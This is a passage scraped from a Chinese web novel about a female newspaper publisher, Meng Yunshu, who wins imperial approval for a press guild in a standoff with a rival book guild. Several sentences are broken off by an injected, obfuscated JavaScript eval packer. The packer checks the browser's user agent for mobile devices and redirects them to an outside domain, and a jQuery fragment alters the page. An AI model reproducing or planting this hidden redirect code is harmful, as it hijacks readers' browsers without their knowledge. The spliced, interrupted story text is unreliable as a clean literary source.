她看向面前这个低声嗫嚅的年轻姑娘,她全然没了昔日神采飞扬的模样。如果她就这样遵从盛催雪的意愿,那盛催雪就永远解不开这个心结。 见孟允抒迟迟不肯表态,盛催雪再次提出她的卸任诉求:“社长,我不能再担任副主编一职了。” “不行——啊!” 几个短促的声响不间断地发出,先是一道男声,而后是撞击声,再是一声惨叫。 孟允抒和盛催雪都没料到办公室内还有第三人,两人连忙从椅子上站起身,惊疑地盯着声源处:“谁在那?” “是我。”萧谨言捂着额角从桌子底下钻出来,嘴里还在不断吸着冷气,“刚才起身太猛磕着头了,疼死我了。” 孟允抒愕然地问道:“你是什么时候进来的?” 盛催雪也诧异地看着他:“你躲到桌子底下干什么?” “我是在你俩进来之前不久来的办公室。”萧谨言先回答了孟允抒的问题,而后心虚地瞥了盛催雪一眼,“我太困了,所以在这休息一会。” 盛催雪猛然想起一件事,气势汹汹地上前问他:“方才我们说的话,你都听见了?” 孟允抒也很在意消息的保密问题:“谨言,偷听可不是好习惯。” 在两人的威逼利诱下,萧谨言不得不如实招来:“你们别这样看着我,怪吓人的。我不是故意要听你们说话。” 他踌躇片刻,小声说道:“方才有名编辑在修改文章时出了些差错,我训了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15833493|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他几句,没想到他居然敢反驳我,而且出言不逊。我说不过他,又不想被众人嘲笑,所以在这……” 孟允抒这才瞧见萧谨言眼眶也泛着红,敢情他是被下属气哭了,所以藏起来偷偷抹眼泪。 萧谨言实在不好意思说下去,索性直接略过后半句话:“但我还没来得及出去,就听见你俩进来了。为了不被你们发现,我只好继续躲在这等你们走。总之,我绝对没有偷听的意思。” 孟允抒早就对萧谨言的眼泪习以为常,盛催雪自己也是刚哭过的人,她当然没资格嘲笑他,只能恼羞成怒地说:“不管怎么样,你终归是听到我们方才的谈话了。” 萧谨言将心一横,破罐破摔似地说:“对,我是听到了。那又怎样,实在不行你把我灭口吧。” 他的反应超乎寻常地勇敢,这让孟允抒和盛催雪都怔了片刻。 萧谨言抓住这个机会从盛催雪身边走开,将衣袖一甩说道:“我都不想说你,方才你自己都和孟社长说了,你身上的锐气太重,旁人见了你都躲,你现在还不知悔改。” 他这话就是在给盛催雪伤口上撒盐,孟允抒连忙阻止他继续说下去:“谨言。” “社长,你别拦我,我今日一定要把话说明白。” 萧谨言说这话时气势磅礴,但却没忘了踱步到孟允抒旁边,为自己提前找好靠山。 他藏在孟允抒背后,探出脑袋来对盛催雪指指点点:“你说话的确不怎么中听,但你说的也都是事实。再说了,你又不是闲来无事就嘲讽他人,我们要是没犯错,你也不会好端端的就骂我们。所以从根本上来说,你并没有什么错处。” 孟允抒惊奇地看着萧谨言,她没想到有朝一日他能劝别人放宽心。 “你竟然会这样说。”盛催雪十分意外,“你不是对我意见很大吗?” “那当然了。”萧谨言脱口而出道,“总不能只允许你骂我,还不让我有怨言,那还有没有天理了?” 盛催雪觉得萧谨言这话没毛病。 “但是,有些时候你说得实在过分。我们都知道你才智过人,所以很多事在你看来都轻而易举,可对普通人来说却不是这样。” 他戳到了她的痛处,盛催雪低下头问:“但我的性情向来如此,你们也早就知道。那为什么过去你们没有用这种态度对我?” 萧谨言觉得原因一目了然:“之前我们追捧你,那纯粹是因为你过去没骂到我们头上,站着说话不腰疼而已。” 盛催雪有些迷茫:“所以,其实没有人会喜欢我这样有话直说?” “有话直说”这个词倏然触发了孟允抒的回忆,她脑内迅速闪过许昭的身影,同时迸发出一道灵光,令她悟出问题的关键所在。 “不,我想大家和你产生冲突的原因恰恰相反。” 孟允抒对盛催雪笑了笑:“你的那些话说得还不够直接。” 萧谨言和盛催雪一齐诧异地看向孟允抒。 “报社职工们的性情、能力各异,有摩擦实属正常,关键是如何沟通。”孟允抒进一步解释道,“今日若不是谨言主动告诉你他的想法,你我都以为他已经对你深恶痛绝。” “催雪,因为你的才华出众,你不能理解普通人的难处,所以总是给他人盛气凌人的印象。但反过来说旁人也是一样,大家不知道你心里的委屈。” 以盛催雪的悟性,孟允抒决定点到为止。 果然,盛催雪思索了几秒,而后如释重负地轻笑了一声。 解决办法居然如此简单。 “我明白了。” 萧谨言还没反应过来:“你明白什么了?” 盛催雪昂起头,恢复了往日那副飒爽的英姿:“我比你们都强,所以我说的那些话在我看来毫无问题。但是,既然你们达不到我的要求,那我们不妨好好商讨一番,达成一个折衷的共识。” 萧谨言听她口出狂言,在愤怒之余却无法反驳,只能咬牙切齿地说了句“行”。 没办法,盛催雪的确比其他人都强。 “话说回来,我要是不当这个副主编,那这些人还真是无法无天。”盛催雪站起身,“你告诉我方才是哪个编辑以下犯上,我去替你收拾他。” 萧谨言听到有人要帮他出这口恶气,一时间高兴得忘乎所以,全然将方才的怒火抛之脑后。 在两人经过孟允抒的桌前时,盛催雪向孟允抒投来一个感激的目光,孟允抒则对她报以鼓励的微笑。 那个自信洒脱的盛催雪回来了,接下来才是她大显身手的时刻。 55. 腹背受敌 自盛催雪找回状态后,孟允抒和她一气呵成地完成了接下来的培训授课,并如约为那些加盟的书商提供了各项帮助。接着,他们也兑现承诺,在私下紧锣密鼓地尝试创办自己的小报。 在此期间,孟允抒和这些报社一直保持着密切联系,在随时帮他们处理问题的同时,也互相交流着如玉行会的动向。在成立正式的报业行会之前,他们还需要挂羊头卖狗肉,低调行事,以防被如玉行会察觉到他们的小动作,让他们的计划胎死腹中。 “自打入了秋,这天真是一日冷过一日。” 萧谨言推开办公室的大门,卷着一股凉风走了进来,他搓搓手臂看向孟允抒:“这几日报社的营收也是如此凄凉。现今我们已经自身难保了,却还要一直帮那些掌柜,这入不敷出的日子什么时候才是个头。” 孟允抒批阅完面前的一份文稿,气定神闲地对萧谨言笑了笑:“萧主编稍安勿躁,一旦官府通过了我们创建报业行会的申请,我们作为行首就能收取会费回本;民众看到朝廷的态度后,他们也能放下心来继续买报;报业成为正式的行当,也会吸引更多人加入我们。过不了多久,报社就会比以前办得还红火。” “那是最好的情况。”萧谨言去他的工位上喝水,顺便和孟允抒闲聊,“昨日我听睿言说了,皇上从户部那得知此事后特意宣布,今日他要在早朝上和诸位官员一同商议是否批准我们的申请。” 他摇摇头叹了口气:“为此新旧两党肯定要在皇上面前大吵一番。民间小报本就是个敏感话题,要是他们再说出什么不该说的话来惹恼了皇上,我们可没什么好果子吃。” 半月前孟允抒曾到访过城内的几家新报社,也询问了那些掌柜经营情况如何。确定时机成熟后,孟允抒便联合他们向官府递交了文书,在其中详述了报业的市场需求以及他们的从业计划,申请注册报业行会。 建立新行当本就需要经过层层审批,再加上报业性质和孟允抒的身份特殊,户部官员一时拿不定主意,便将其上报给了皇帝。她听许昭说,皇上在听闻此事后便要召集百官,请诸位大臣共商此事。 有孟允抒的那桩冤案在先,朝中的新旧两党都很清楚,报业行会能否建立直接关乎着他们的势力强弱。如果朝廷未能通过这项申请,孟允抒势单力薄,迟早会再次受到暗害,到那时她毫无还手之力,旧党就可以故技重施,对新党施以猛烈打击。 因此,双方一定会据理力争,在朝堂上展开激烈的辩驳。 “你就放心吧。”孟允抒搁下手中的笔,胸有成竹地说道,“陛下是故意让他们争辩的,他不会发表任何意见。只要支持我们的声浪更大,成立报业行会就是板上钉钉的事。” 做皇上的可比任何人都要懂得权衡利弊,先前孟允抒从许昭的描述中听出,他们当今的皇上是个敢于变革的人,但碍于旧党的根基深厚,他还得仰仗这些朝臣为他效力,因此在明面上一直附和着这些人的观点。后来随着新党的日渐崛起,政局发生了微妙的变化,皇上的态度也随之变得暧昧不清。 从当下来看,“成立行会”这件事本身的重量根本不足以被拿到朝会上讨论,如果皇上对小报的态度倾向十分明确,那他完全可以直接给出自己的决断。他之所以让各位大臣畅所欲言,在朝会上公开商议此事,完全是想借机试探两党的实力。如果新党能够赢得胜利,他自然会同意孟允抒的申请,在之后的治国理政中他也能够逐步放开手脚,对新党成员有所侧重。 萧谨言听孟允抒分析了一通,实在搞不清这些政治中的弯弯绕绕,索性将它抛之脑后,问了她另一个更简单的问题:“可旧党实力雄厚,你怎么知道我们一定能赢?” “我当然不知道我们是否能够取胜。”孟允抒重新拿起笔,意味深长地对萧谨言笑笑,“但着急也没用,还不如先做好手头的事。反正今日我们就能见分晓了。” 她说话时的语调平稳,握住毛笔的手却已经沁出了一层薄汗,在笔杆上印下清晰的指痕。 正如萧谨言所说,黎民报社因那场风波元气大伤,又陷入腹背受敌的困境,孟允抒唯一能够摆脱危机的方法就是她后来所做出的种种举措。 如果今日她的申请被朝廷驳回,那他们就连这最后的一条路都会被堵死。而且,她不敢保证报社的职工能够再承受住一次重挫;她与那些书商的同盟被瓦解后,如玉行会也肯定会彻底将她置之死地。 一旦她的计划失败,情况只会比以前更糟糕。 孟允抒掌心的汗水已经浸湿了她手底下按着的那张纸。 如今正是千钧一发的时刻,但她并不知道现在朝会上的情况如何。她已经竭尽全力地做好了自己能够做的事,接下来的事她无法插手,只能静待消息。报社能否绝处逢生,全要看新党能否战胜旧党。 而这也正是检验许昭战果的时候。 自从孟允抒出狱以来,她和许昭就分头行动拉拢人脉。官场上的明争暗斗比民间更为复杂,她不知道许昭是否真的赢得了足够多的支持。如果新党败下阵来,不但标志着孟允抒的计划以失败而告终,更会让皇上意识到新党的势力微弱,此时并非改革的良机,接下来他就会按兵不动,暂时不对旧党予以削弱。而在经历此事后,旧党的嚣张气焰只会比以前更甚,许昭也会遭到更疯狂的报复。 到那时,他们在朝堂上也是满盘皆输。 “唉,等消息真是急人。”萧谨言的声音将孟允抒拉回现实,他稍事休息后重新起身,经过孟允抒的桌前向她告辞,“社长,我回编修堂了。” “好。”孟允抒略一点头,又用眼神指指她面前那摞放在书堆最上方的纸张,“这是我方才批过的文稿,你顺便将它带回去吧。” 萧谨言应声拿起了那摞纸,一边往前走一边翻看着上面的内容。孟允抒刚刚低下头还没来得及落笔,却听见萧谨言的疑惑又在耳畔响起:“社长,这纸怎么是湿的?” 孟允抒抬头看向萧谨言,他快步折返回孟允抒桌前,将他手里的那张文稿展示给她看。 那张纸的一角已经变得皱皱巴巴,靠近边角的文字也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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排云喘了几口气,回答道:“郭掌柜见势不妙,就赶紧派伙计来将消息告诉我们,自己则先与他周旋。” 孟允抒知道胡行长在官府有些人脉,在她递交申请的当日,他就气势汹汹地跑去那些与她合作的书坊中问罪。但因为他们对此早有提防,胡行长搜罗了一圈后并未找到实证,只能就此作罢。 这半月以来他们都如履薄冰,生怕被如玉行会抓住把柄,对他们横加干涉。在眼下这个紧要关头,他们还是露出了破绽。 然而,胡行长在发现郭掌柜卖报后,他显然得知此事与黎民报社有关,但他并没有直接通知她。胡行长应当是打算对他们各个击破。 考虑到郭掌柜独木难支,孟允抒思忖片刻后吩咐排云:“你先让人去找辆马车,我马上出发去文昌书坊。我不在报社的时候,你们要加强警戒。” 接着,她起身去找盛催雪随行。 如玉行会人手充足,要是动起手来,即便是黎民报社和文昌书坊联合,他们也都不堪一击。针对眼下的情况,她更需要巧妙的解法,避免对方使用武力。 56. 柳暗花明 在文昌书坊伙计的指引下,孟允抒和盛催雪快步穿过中庭,来到后院的正厅门前。 随着伙计推开大门,室内的景象全部呈现在孟允抒眼前,所有人的面孔也一齐转向门口。 孟允抒目之所及满是身强力壮的青年男子,他们将空气沉沉地压了下来,原本宽敞的大厅显得十分拥挤,连光线都无法渗透这堵人墙。以过道为分界线,胡行长与郭掌柜身后都站了一大批伙计,看上去泾渭分明。 从当前的这副场景还有凝重的氛围来看,他们双方对峙应当已经有一段时间了。 孟允抒对那些锐利的目光以及置若罔闻,她不紧不慢地进了正厅,向屋内的所有人行了一礼,用调侃的语气打破僵局。 “今日的文昌书坊好生热闹,此处竟然有这么多来客。只是诸位似乎对彼此还不太熟悉,神情都这样紧绷。” 而后,孟允抒走近郭掌柜,顺势在他身旁的椅子上坐下,责怪他道:“郭掌柜,你是文昌书坊的东家,应当尽地主之谊,热情款待来宾才是。” “孟社长所言极是。”郭掌柜见孟允抒前来支援,面色有所缓和,转而对胡行长赔着笑说道:“招待不周的确是文昌书坊的罪过,还请胡行长见谅。” 孟允抒也对胡行长笑道:“胡行长,文昌书坊离黎民报社不远,你今日与郭掌柜相聚,怎么也不通知我一声,好让我也来凑凑热闹。” 她的言下之意就是,她已经识破了胡行长想要将他们分化瓦解的计谋。 胡行长方才与郭掌柜的交涉并不愉快,此时他面色铁青,见到孟允抒更是怒火中烧,但他并未在明面上失礼,只是对她冷嘲热讽道:“孟社长日理万机,那么多家书坊都要仰仗着你的帮助才能走到今日,我哪敢为了这点小事叨扰你。” 孟允抒当然知道他指的是自己在私下拉拢书商的事,却故作严肃道:“胡行长此言差矣,我们都是如玉行会下辖的同行,理应一同面对困难,事情哪有大小之分。我作为行会的一员,帮助那些书商也是分内之事,没有什么功劳可言。” “孟社长在顾及自己生意的同时还能关照同行,胡某佩服。”胡行长的话中有些挖苦的意味,“你就不曾想过,这样下去你自身难保,而其他书商得了你的帮助,反倒会后来居上?” 胡行长这是在明晃晃地离间他们。 “胡行长,我还是那句话。”孟允抒从容不迫地回答道,“我们身为同行,理应互相帮助。如玉行会设立的初衷也正是如此。” 见孟允抒始终在和他打太极,胡行长也没耐心再和她耗下去,索性把话挑明了说:“我还真不知道从什么时候起,报业和书业也能算是同行。” 这个论据对孟允抒来说相当不利,再说下去她只会将自身搭进去,于是暂时保持沉默。 胡行长看看郭掌柜,神情严肃地说道:“根据大胤律法,商铺经营的生意应与其加入的行会保持一致,不允许跨行经营。所以,如果文昌书坊想要继续营业,就只能在书业与报业中选择其一。” 在场的所有人都明白,选择书业意味着要继续受如玉行会的限制,文昌书坊若是敢经营小报就是违令,如玉行会有理由对其进行惩戒。而如果郭掌柜选择报业,那如玉行会就能够以行业不符为理由,将文昌书坊从行会中剔除出去。 眼下报业行会还没建立,选择后者就意味着死路一条。胡行长看似为郭掌柜留出了选择的余地,实则步步紧逼。 郭掌柜头上沁出了冷汗,他见孟允抒默不作声,只能硬着头皮举出那唯一的反例,试图与胡行长争辩:“但在报业行会建立之前,报社理应交由如玉行会管辖。当初黎民报社不正是这样做的吗?” 孟允抒知道胡行长等的就是这句话,她在暗中攥紧了指尖,奋力在脑中搜寻着对策。 见事态发展尽在自己的掌控内,胡行长冷笑一声说道:“郭掌柜,你难不成认为如玉行会是什么慈善机构,无论是哪行哪业的商铺,我们都照单全收?” 他用眼神指指孟允抒说道:“当初黎民报社加入如玉行会,那是作为特例。我要是再给你们开个口子,以后你们一生二,二生三,大家纷纷改行从事报业,书业反倒被你们挤到一边去,那如玉行会还算什么书业行会?” 胡行长重新看向郭掌柜,再次给他施压:“一家报社不能作为独立的新行当存在,可两家就不是这样了。如玉行会遵守进出自由的原则,你要是真想从事报业,我们也不会拦着。” 他讥讽地笑笑,图穷匕见道:“正好你和孟社长一并退出行会,单独成立你们的报业协会,岂不美哉?” 孟允抒听得出,胡行长表面上是在回答郭掌柜的问题,但话中的利刃都对准了她。 她绞尽脑汁地思考着如何反击胡行长,却被他压迫得喘不过气。 “说了半天,诸位不就是想问郭掌柜怎么选吗?” 盛催雪的声音划破寂静的空气,替孟允抒和郭掌柜掀开胡行长的单方面压制,干脆利落地为他们的交锋做出总结。 孟允抒将目光落在盛催雪身上,只见她漫不经心地往椅背上一靠,对室内的众人说道:“那你们就最应该听听郭掌柜的想法。” 她看向郭掌柜,视线也经过了孟允抒的面庞,像往常那般爽朗地笑了笑:“但这毕竟关乎文昌书坊的前途命运,郭掌柜可得三思而后行,绝不能草率地做出决定。” 孟允抒察觉到盛催雪刻意加重了“三思”和“不能草率”等词的声调,像是在暗示她什么。 她飞快地思索一番,而后恍然大悟。 如今已是巳时,即使那些大臣在早朝上吵得再激烈,在午时前皇帝也一定会针对他们的申请作出决断。今日一早她就派了伙计去宫门外守着,一旦此事尘埃落定,她就能在第一时间收到消息。 而无论他们的申请能否通过,到那时郭掌柜都能依据这个结果确定,他究竟该选择哪一边。 摆脱当下危机的最佳方案就是拖延时间。 意识到这一点,孟允抒连忙附和着盛催雪的话叮咛郭掌柜:“盛副主编说得对。虽然我也很希望郭掌柜能够加入我们,但报业行会尚未建立,我们的前途未卜。” 她又看了看胡行长,故意吹捧他道:“而如玉行会历史悠久,书业也早就有了稳定的受众群体。到底是继续从事书业还是改行从事报业,郭掌柜可得慎重考虑。” 郭掌柜有些发懵,他认为孟允抒不可能会突然转变态度,于是仔细回味了一遍孟允抒的话。 忽然, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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过了半晌,正厅已经乱成了一锅粥,所有人都在推搡着彼此,嘴里说着些客套话,正如过年收红包时的拉锯战,只是规模更加庞大。在这样的情形下,在场的所有人始终没能喝上茶水,但陡然听到了一个高亢激昂的声音。 “孟社长!” 孟允抒望向门口,她一眼便认出这人是黎民报社的伙计,连忙撒开拽着胡行长衣袖的手,好凝神听他接下来的话。 “申请,我们的申请通过了!” 他上气不接下气地说着,但仍卯足全力大喊,面色由于激动和欣喜而变得通红。 “朝廷准许我们成立报业行会!” 听到这句一锤定音的话,孟允抒却愣了一瞬。 也就是说,旧党在早朝的辩论中没能取胜。 郭掌柜身后的人群爆发出一阵欢呼,将盛催雪的声音淹没在其中。 她将孟允抒扑了个满怀,喜极而泣道:“允抒,我们成功了!” 恍惚之间,孟允抒看向他们的对面。与他们截然相反,如玉行会的人都陷入了哑然,随后气势便萎靡下去。 胡行长神情呆滞地走到椅子身边,按着扶手缓缓坐了下去,从头到尾未发一言。 他这才明白过来孟允抒等人的真实目的。如今尘埃落定,郭掌柜自然会加入报业行会,改行从事报业。他要是再继续干涉文昌书坊的事务,那就是算是寻衅滋事。 胡行长茫然地抬起头来,正对上孟允抒的视线。 看着余光里那群相拥而泣的身影,他隐约感觉到,从今以后,不单是对他来说,这场棋局的双方要攻守易形了。 57. 允昭行会 都说“人逢喜事精神爽”,孟允抒觉得这话一点不假。 随着报业行会建立申请的通过,接下来要处理的待办事项便堆满了她的案头,各位加盟商也纷纷派人送来书信,向孟允抒道喜的同时再询问接下来的各种事宜。 从文昌书坊回来后,孟允抒的大半天都在这些接踵而至的信件与文书中度过,可她即使卯足了劲地干活也不觉得疲累,也没发现窗外的天色已经暗了下去。 最终,盛催雪的一句惊疑将她从纷繁的纸堆中拽了出来。 “许大人,你在这偷偷摸摸地干什么呢?” 孟允抒一下午都在给各方官员写信,脑子里面装满了各种张王李赵大人,一时没能意识到这位“许大人”是谁。 “盛姑娘,你小声些。”一个男声刻意压低了嗓音,但语气依然急促,“别惊扰了允抒。” 孟允抒曾听过这声音的各种腔调变化,她瞬间意识到声音主人的身份,于是赶紧丢下笔,起身向门口奔去。 盛催雪不解地看着许昭,并未听从他的提醒:“你要找社长就直接进去,为什么——” 她的话说到一半,孟允抒便骤然拉开了办公室的大门,惊喜地喊道:“许郎来了?” 许昭转头看向孟允抒,有些窘迫地对她笑笑:“你现在忙吗,我有没有打扰到你?” 听到这话,盛催雪马上明白了许昭为何会作出那般举动。 她存心想打趣这两人,于是憋住笑意,上了台阶走到孟允抒身边,凑近她做出耳语的手势,说话时却故意提高了声音,好让许昭也能听见 她瞅了眼许昭,故作神秘地说道:“社长,我们报社里有贼。” 孟允抒并不知道方才房门外的景象,连忙向她打听详情:“此话怎讲?” 许昭一时没反应过来她话中的含义,他也警惕地问盛催雪:“盛姑娘,你可有看清那贼人的模样?” 盛催雪露出一个不怀好意的笑容,对两人讲述着她刚才的见闻:“方才我从院中经过,却见一个鬼鬼祟祟的身影在社长门前张望。那男子见附近无人,便蹑手蹑脚地靠近门窗,从缝隙中偷窥里面的景象。” 孟允抒听得毛骨悚然:“竟有此事?” 许昭也一脸严肃地望向盛催雪。 “接着,这人又下了台阶,在社长门前徘徊,不知道在打什么主意。我见状便上前询问,可我一来他就让我别声张。”盛催雪实在忍不住大笑起来,“你们说,这人不是贼是什么?” 从盛催雪最后的那句话中孟允抒听明白了,她这是在描述许昭方才的作为。 可许昭却对此浑然不觉,在孟允抒开口之前,他又疑惑道:“此处又没有金银钱财,那贼人想要盗取什么?” 盛催雪说话间已经移步至安全地带,防止孟允抒打她:“此地确实没有金银钱财,但有一位貌若天仙的妙龄女子,那可真是无价之宝。” “催雪,你整日就没个正形。”孟允抒听出她的调侃,佯装嗔怒道,“连我的玩笑都敢开,真是没大没小。” 盛催雪见势不妙赶忙开溜,一边飞奔一边笑着喊道:“许大人,你怎么还没反应过来,孟社长的一颗心早都被你窃走了!” 许昭这才意识到盛催雪刚才是在取笑他,瞬间窘迫得无地自容,连衣衫上的绯色都迅速攀上了他的脸颊。 孟允抒察觉到自己的脸上也有些发烫,她为了给两人解围,岔开话题问许昭:“你怎么突然来报社了?” “哦。”许昭想起了他来这的目的,“一个时辰以前我收到报社伙计的传话,说你今日事务繁忙,晚上要宿在报社,不回府休息。” 说着,他去墙根旁取来刚才被他放在一边的食盒:“今日你我的行动初见成效,我担心你高兴过头废寝忘食,所以从府里来给你送饭。” 孟允抒没敢告诉许昭,要是他不来,她还真有可能错过晚饭。 “那我们别在这里站着了。”孟允抒见他一脸灿烂地傻笑着,心中涌起一阵暖流,牵起许昭的手叫他进屋说话:“正好我还有些事想问你。” 两人进了办公室,许昭帮着孟允抒清理出桌面的一小块区域,将食盒放上去,随后又起身去搬凳子。 孟允抒打开盒盖,一股菜香扑鼻而来。食盒内的菜品样式不过三种,都是她爱吃的家常菜,但它们都被妥帖地装在暖盘里,以起到保温作用。 孟允抒顿时觉得食欲大增,她摆放好餐盘,见食盒内只有一双筷子,抬头向许昭问道:“许郎,你吃过饭了吗?” 许昭放下凳子,在孟允抒身边坐好,对她微微一笑:“我已经在府中吃过了,你快些吃吧。” 孟允抒并不相信他的话,在她还饿着肚子的时候,许昭绝不可能先动筷子。 她计上心来,将筷子塞到许昭的手里说道:“你方才在门外待了那么久,这些菜恐怕都凉了,你先帮我试试温度。” 许昭却只是抬手摸了摸盘壁,将筷子还给孟允抒,一本正经地说道:“这盘子都还是热的,你放心吃吧。” 孟允抒一计不成又生一计,索性直接抱住许昭的腰:“不行,你不吃我也不吃。” 许昭惊慌失措地推着她的胳膊,压低声音焦急地提醒她:“你快放手,这是在外面,万一待会有人进来,让旁人看到成何体统。” 孟允抒自知她的力气不小,但许昭要是真想让她放手,推开她并不是什么难事。 所以她才有恃宠而骄的底气。 孟允抒最喜欢看许昭这副手忙脚乱的模样,她起了坏心思,在许昭耳畔笑道:“许郎,早知今日,何必当初。昨夜你和我共度春宵之时,你可有想过如今的窘态?” “你别说了。”许昭难以招架孟允抒的攻势,只能无奈地拿起筷子,“我听你的便是。” 孟允抒的目的已经达成,于是松开许昭让他好好吃饭。 许昭装模做样地糊弄着这回事,他抬眼时恰巧瞥见孟允抒搁置在案头的那些文书,便转移话题道:“既然户部已经批准了你们的申请,接下来你们就要将报业行会的名称及下属商铺登记在册。” 说着,他小心地将话头和筷子一并递给孟允抒:“关于报业行会的名称,你可有什么想法?” 孟允抒一眼便识破了许昭的心思,但两人要是再这么互相推拒下去,谁都吃不上一口热乎饭。 于是她装出一副陷入沉思的模样,似是不经意地从他手里接来筷子。这让许昭误以为自己的计划取得了成功,颇为自得地笑了起来。 孟允抒望着许昭澄澈干净的双眸,在努力憋笑的同时,大脑中忽然浮现出一个词汇。 “我当前是有一个主意,但稍后还要与各位同行的掌柜商量。”孟允抒对许昭笑了笑,语气温柔,满怀期待。 “我想将其命名为‘允昭行会’。” 许昭愣了愣,他意识到这个名称是在他和孟允抒的名字中各取一字组合而成,有些不好意思地推阻道:“这不大合适吧,毕竟我不是报业的从业者,没道理将我的名字冠上去。” “谁说这是你我二人的名字?”孟允抒露出狡黠的微笑,“只是凑巧罢了。” 她言归正传,显出庄重的神色:“许郎,你应当读过‘允文允武,昭假烈祖’这句诗文,了解其含义。” 许昭点点头。这句话的引申义可用于赞美文武双全之人,强调其成就足以光耀门楣,传承先辈精神。 “从事报业的人多为文人士子,我们在外人看来弱不禁风,手无缚鸡之力。”孟允抒用筷子指指她面前悬着的那支毛笔,“可很多人忘了,这就是我们的兵器。我希望每个报人都能明白这一点,学会使用这份力量,而不只是做一个温良无害的文人。” “的确。”许昭感慨道,“过去许多民众都被谣言蛊惑,被事物的表象蒙蔽,道听途说人云亦云,可如今他们逐渐明白,在面对新闻时要先考证其真实性。” 动用武力可以强迫人们改变行为,却无法扭转其思想观念。在这一方面,文化行业不费一兵一卒,却胜过千军万马。 接着,孟允抒解释了后半句话的含义。 “我不是第一个从事报业的人,也不会是最后一个。在我之前有许多人为此丢了性命,但如果没有他们,小报就不会问世,更不会演变成今日的模样。”她对许昭笑笑,“如今报业行会已经建立,我希望报业能后继有人,将那些先驱连同我们的理想薪火相传。” 这是孟允抒为后来者留下的教诲与训诫,也寄托着她对报业未来的美好期望。 “原来如此。”许昭思忖片刻,惭愧地对孟允抒笑笑:“的确是个好名字,是我鼠目寸光。” 孟允抒嗔怪地捏了捏许昭的脸:“你不必这样自谦,一直以来要不是你从旁协助,我哪能有今日的成就?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在她的印象中,王昕算得上是位好官,但因他年纪渐长,不愿参与政斗,故而总是有意避开风暴中心,成为一名沉默的中立派人士。 孟允抒点头道:“记得。怎么了?” “在今日的朝堂上,王大人一反常态地帮我说了话,但理由只是他认为民间报业乌烟瘴气,小报往往被有心之人利用,成为党争的工具。若能对其进行统一管理,则有利于肃清朝政。” 王大人的行为符合他一贯的立场,孟允抒不觉得这有什么问题。 许昭话锋一转:“当然,这不是重点,关键在于王大人斥责程玄平时所说的那些话。” 这句话让孟允抒停下了夹菜的动作。 “程玄平认为王大人是在暗讽他,便对他紧咬不放,句句都与王大人针锋相对。王大人气急之时,曾对他施以人身攻击。” 孟允抒知道王昕这人有个缺点,他在发火时经常仗着年纪大和资历老来批驳对方。 “王大人说,在程玄平还是个黄口小儿时,他自己都曾说过,朝中百官理应齐心协力扶持明君,向其建言献策共治天下,不该结党营私,做那些投机钻营的事。而如今他却罔顾事实,只是一心想着排除异己,他难道不会感到愧对己身吗?” 孟允抒不可置信,程玄平竟然还说过这样的话。 她连忙问道:“那程玄平如何回答?” “他说,那时他年少无知,不懂得朝政的复杂,想法太天真,王大人何必翻那些旧账。眼下他虽有心帮皇上效力,可朝中却总有不同的声音混淆视听,若是朝中诸臣不能统一意见,陛下当然也不好做出决断。” 孟允抒蹙起眉头:“听程玄平的意思,他的确提出过这般想法,只是现今他对这番言论嗤之以鼻。” 许昭颔首道:“没错。下朝后我曾专门向王大人打听此事的内情,但他说那是程玄平入朝以前的说法。自打程玄平为官以来,他便坚定地奉行他自己提出的那套学说,如今已有三十余年。所以王大人推测,程玄平可能确实如他所说,他自认为当时他太过年轻,所持的观念过于理想,不适用于实际,后来才会改弦更张。” 这番话落音后,孟允抒陷入了良久的沉默。 这样看来,程玄平原本并不是今日的这般模样。 但一个人到底经历了什么事,才会让他彻底否定自己过去的观念?